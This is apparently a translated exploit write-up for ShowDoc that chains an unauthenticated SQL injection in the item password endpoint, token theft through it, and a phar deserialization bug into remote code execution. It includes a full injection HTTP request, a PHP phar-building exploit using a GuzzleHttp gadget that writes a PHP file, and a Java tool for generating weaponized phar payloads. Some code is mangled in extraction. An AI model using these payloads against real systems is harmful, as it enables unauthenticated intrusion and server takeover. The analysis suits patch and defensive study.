Vulnerable version
sqli <=3.2.5
phar deserialization <= 3.2.4
Vulnerability Analysis
Frontend sqli
patch
https://github.com/star7th/showdoc/commit/84fc28d07c5dfc894f5fbc6e8c42efd13c976fda
Patch comparison found that in server/Application/Api/Controller/ItemController.class.php, the $item_id variable was changed from splicing to parameter binding. It can be inferred that SQL injection may exist at this point.
In the pwd method of server/Application/Api/Controller/ItemController.class.php, the item_id parameter is obtained from the request and spliced into the where condition for execution without authentication, which can be judged as a front-end SQL injection.
However, before entering the SQL injection point, the captcha_id and captcha parameters will be obtained from the request. The parameter needs to pass in the verification code id and verification code for verification. Therefore, the verification code needs to be submitted once before each injection is triggered.
The logic of the verification code is to obtain the verification code that has not timed out from the Captcha table according to captcha_id for comparison. After verification, the verification code will be set to expired status.
Complete concatenated SQL statement
SELECT * FROM item WHERE ( item_id = '1' ) LIMIT 1
Both $password and $refer_url parameters are controllable. The value of password can be controlled through union query. When the condition is met, the value of $refer_url parameter is returned. 1') union select 1,2,3,4,5,6,7,8,9,0,11,12 –, 6 corresponds to the password field, so the password parameter passes 6, the condition is met, and the passed $refer_url parameter is echoed, then SQL injection exists.
POST /server/index.php?s=/Api/Item/pwd HTTP/1.1Host: 172.20.10.1Content-Length: 110Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://127.0.0.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://127.0.0.1/server/index.php?s=/Api/Item/pwdAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-site: same-originsec-fetch-mode: navigatesec-fetch-dest: documentcookie: PHPSESSID=1r419tk5dmut6vs4etuv656t1q; think_language=zh-CN; XDEBUG_SESSION=XDEBUG_ECLIPSEx-forwarded-for: 127.0.0.1x-originating-ip: 127.0.0.1x-remote-ip: 127.0.0.1x-remote-addr: 127.0.0.1Connection: close captcha=8856&captcha_id=87&item_id=1')+union+select+1,2,3,4,5,6,7,8,9,0,11,12+--&password=6&refer_url=aGVsbG8=
SQLI get token
Authentication is verified by calling the checkLogin method of server/Application/Api/Controller/BaseController.class.php.
When not logged in, the user_token parameter will be obtained from the request, and then the user_token will be queried in the UserToken table to verify whether it has timed out. The uid field of the non-timed out record will be queried in the User table, and finally the returned $login_user will be set to the Session.
Then you only need to inject the unexpired token in the UserToken table, and then you can access the backend interface through the token.
phar deserialization rce
patch
https://github.com/star7th/showdoc/commit/805983518081660594d752573273b8fb5cbbdb30
The patch changes the access permission of the new_is_writeable method from public to private.
In the new_is_writeable method of server/Application/Home/Controller/IndexController.class.php, is_dir is called and $file is controllable. Friends who are familiar with phar deserialization know that the is_dir function can trigger deserialization when the protocol is controllable.
With the point that triggers deserialization, we need to find a utilization chain. GuzzleHttp is used in the Thinkphp environment, and the __destruct method of GuzzleHttp\Cookie\FileCookieJar can save files.
There are already many analyses on the Internet, and here is the exp for generating phar.
cookies = array(new SetCookie()); }private $strictMode;}class FileCookieJar extends CookieJar { private $filename = "E:\\Tools\\Env\\phpstudy_pro\\WWW\\showdoc-3.2.4\\server\\test.php"; private $storeSessionCookies = true; }class SetCookie { private $data = array('Expires' => '); }}namespace { $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."); //设置stub $o = new \GuzzleHttp\Cookie\FileCookieJar(); $phar->setMetadata($o); //将⾃定义的meta-data存⼊manifest $phar->addFromString("test.txt", "test"); //添加要压缩的⽂件 //签名⾃动计算 $phar->stopBuffering(); }
When generating exp, the written path needs to specify an absolute path. The default path deployed in docker is /var/www/html. For others, you can get the absolute path by specifying a non-existent module error when accessing it.
For subsequent use, find a point for uploading and knowing the path, and change the generated phar file into png for uploading.
Access the returned link to obtain the path of the uploaded file.
Call the new_is_writeable method and access the file through phar:// to trigger deserialization.
Weaponized Exploitation Thinking
In the Java environment, when weaponizing the vulnerability, two points need to be considered. One is that when obtaining the token through sqli, the verification code needs to be identified. Currently, some masters have transplanted ddddocr online.
https://github.com/BreathofWild/ddddocr-java8
Another thing is that when using exp to generate a phar file, you need to specify the absolute path and content of the file to be written. I haven't found a way to directly generate a phar file in Java, so I can't dynamically generate a phar file and parse the phar document format. I need to implement a method to generate a phar file by specifying deserialized data in a Java environment.
Phar document format parsing
Generate a phar file through PHP, open it with 010 Editor, and parse the phar file through the official website document to understand the phar format.
https://www.php.net/manual/zh/phar.fileformat.ingredients.php
The phar document is divided into four parts: Stub, manifest, contents, signature
Stub
It is a PHP file, which is used to identify the file as a phar file. The content of the file must end with , which feels similar to the file header.
manifest
This part specifies some information in different intervals, including the deserialized data.
https://www.php.net/manual/zh/phar.fileformat.phar.php
1-4 (bytes) stores the length of the entire manifest. 01C7 is converted to decimal 455, which represents the length of the entire manifest, 455.
5-8 (bytes) The number of files in Phar is the same as the number of files in contents, there is one file.
9-10 stores the API version.
11-14 Global Phar bitmapped flags。
15-18 If there is an alias, then this interval stores the alias length. There is no alias here.
19-22 Metadata length 0191 converted to decimal 401 means the metadata length is 401.
22-? Metadata, the metadata stores the deserialized data.
contents
This part is optional and is specified in the second section of the manifest. It is not specified on the official website and will not be used when exploiting the vulnerability.
signature
actual signature
This part stores the signature content. The length of the signature varies depending on the signature method. The SHA1 signature is 20 bytes, the MD5 signature is 16 bytes, the SHA256 signature is 32 bytes, and the SHA512 signature is 64 bytes. The length of the OPENSSL signature depends on the size of the private key.
ignature flags (4 bytes)
This part identifies the signature algorithm. 0x0001 is used to define MD5 signature, 0x0002 is used to define SHA1 signature, 0x0003 is used to define SHA256 signature, 0x0004 is used to define SHA512 signature. 0x0010 is used to define OPENSSL signature.
GBMB (4 bytes)
Magic GBMB
The signature algorithm is 02, and the SHA1 signature is used.
The signature is 20 bytes long.
By parsing the entire phar file format, it is found that most fields are fixed. The fields that need to be changed are:
1. Manifest length
2. Metadata in manifest
3. Metadata length in manifest
4. signature flag signature algorithm
5. signature data
Generate phar file using java
The final construction is:
package org.example; import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;import com.sun.org.apache.xml.internal.security.utils.Base64; import java.io.ByteArrayOutputStream;import java.io.FileOutputStream;import java.io.IOException;import java.nio.ByteBuffer;import java.nio.charset.StandardCharsets;import java.security.MessageDigest;import java.security.NoSuchAlgorithmException; public class App { public static void main( String() args ) throws IOException, Base64DecodingException { final FileOutputStream fileOutputStream = new FileOutputStream("phar.phar"); final byte() decode = Base64.decode("TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6ODoidGVzdC5waHAiO3M6NTI6IgBHdXp6bGVIdHRwXENvb2tpZVxGaWxlQ29va2llSmFyAHN0b3JlU2Vzc2lvbkNvb2tpZXMiO2I6MTtzOjM2OiIAR3V6emxlSHR0cFxDb29raWVcQ29va2llSmFyAGNvb2tpZXMiO2E6MTp7aTowO086Mjc6Ikd1enpsZUh0dHBcQ29va2llXFNldENvb2tpZSI6MTp7czozMzoiAEd1enpsZUh0dHBcQ29va2llXFNldENvb2tpZQBkYXRhIjthOjE6e3M6NzoiRXhwaXJlcyI7czoxOToiPD9waHAgcGhwaW5mbygpOyA/PiI7fX19czozOToiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBzdHJpY3RNb2RlIjtOO30="); final String s = new String(decode); fileOutputStream.write(GeneratePharFilebyte(s, 2)); fileOutputStream.close(); } public static byte() GeneratePharFilebyte(String payload, int hashMode) { // 添加 stub String stubStr = "GIF89a; byte() stubByte = stubStr.getBytes(StandardCharsets.UTF_8); // 长度 14 byte() manifestMid = {(byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x11, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00}; // 反序列化数据 byte() SerializationByte = payload.getBytes(StandardCharsets.UTF_8); // 文件数据 byte() fileByte = {(byte) 0x08, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x74, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x2E, (byte) 0x74, (byte) 0x78, (byte) 0x74, (byte) 0x04, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0xF7, (byte) 0x02, (byte) 0x63, (byte) 0x66, (byte) 0x04, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0C,(byte) 0x7E, (byte) 0x7F, (byte) 0xD8, (byte) 0xB6, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x74, (byte) 0x65, (byte) 0x73, (byte) 0x74}; // Signature // 2. 签名标志 ByteBuffer signaturebuffer = ByteBuffer.allocate(4); signaturebuffer.putInt(hashMode); byte() signatureFlag = signaturebuffer.array(); // GBMB byte() gbgm = {(byte) 0x47, (byte) 0x42, (byte) 0x4D, (byte) 0x42}; // 计算反序列化数据长度 ByteBuffer Seriabuffer = ByteBuffer.allocate(4); Seriabuffer.putInt(SerializationByte.length); byte() SeriaLength = Seriabuffer.array(); // 计算总长度 int length = manifestMid.length + SerializationByte.length + fileByte.length; ByteBuffer buffer = ByteBuffer.allocate(4); buffer.putInt(length); byte() manifestLength = buffer.array(); try { final ByteArrayOutputStream baos = new ByteArrayOutputStream(); // 添加 stub baos.write(stubByte); // 添加manifest 总长度 reverseBytes(manifestLength); baos.write(manifestLength); // 添加 manifestMid baos.write(manifestMid); // 添加反序列化数据长度 reverseBytes(SeriaLength); baos.write(SeriaLength); // 添加反序列化数据 baos.write(SerializationByte); // 添加文件 baos.write(fileByte); // 添加signature // 计算 signature if (hashMode == 1){ // md5 MessageDigest md5Digest = MessageDigest.getInstance("MD5"); byte() md5Bytes = md5Digest.digest(baos.toByteArray()); baos.write(md5Bytes); } else if (hashMode == 2) { // sha1 MessageDigest sha1Digest = MessageDigest.getInstance("SHA-1"); sha1Digest.update(baos.toByteArray()); byte() hashBytes = sha1Digest.digest(); baos.write(hashBytes); } else if (hashMode == 3) { // SHA256 MessageDigest sha256Digest = MessageDigest.getInstance("SHA-256"); sha256Digest.update(baos.toByteArray()); byte() hashBytes = sha256Digest.digest(); baos.write(hashBytes); }else if (hashMode == 4) { // SHA512 MessageDigest sha512Digest = MessageDigest.getInstance("SHA-512"); sha512Digest.update(baos.toByteArray()); byte() hashBytes = sha512Digest.digest(); baos.write(hashBytes); } // 添加签名标志 reverseBytes(signatureFlag); baos.write(signatureFlag); // 添加 baos.write(gbgm); return baos.toByteArray(); } catch (IOException e) { throw new RuntimeException(e); } catch (NoSuchAlgorithmException e) { throw new RuntimeException(e); } } public static void reverseBytes(byte() bytes) { int left = 0; int right = bytes.length - 1; while (left < right) { // 交换左右两端的元素 byte temp = bytes(left); bytes(left) = bytes(right); bytes(right) = temp; // 移动左右指针 left++; right--; } }}
If reprinted, please indicate the original address
GIPHY App Key not set. Please check settings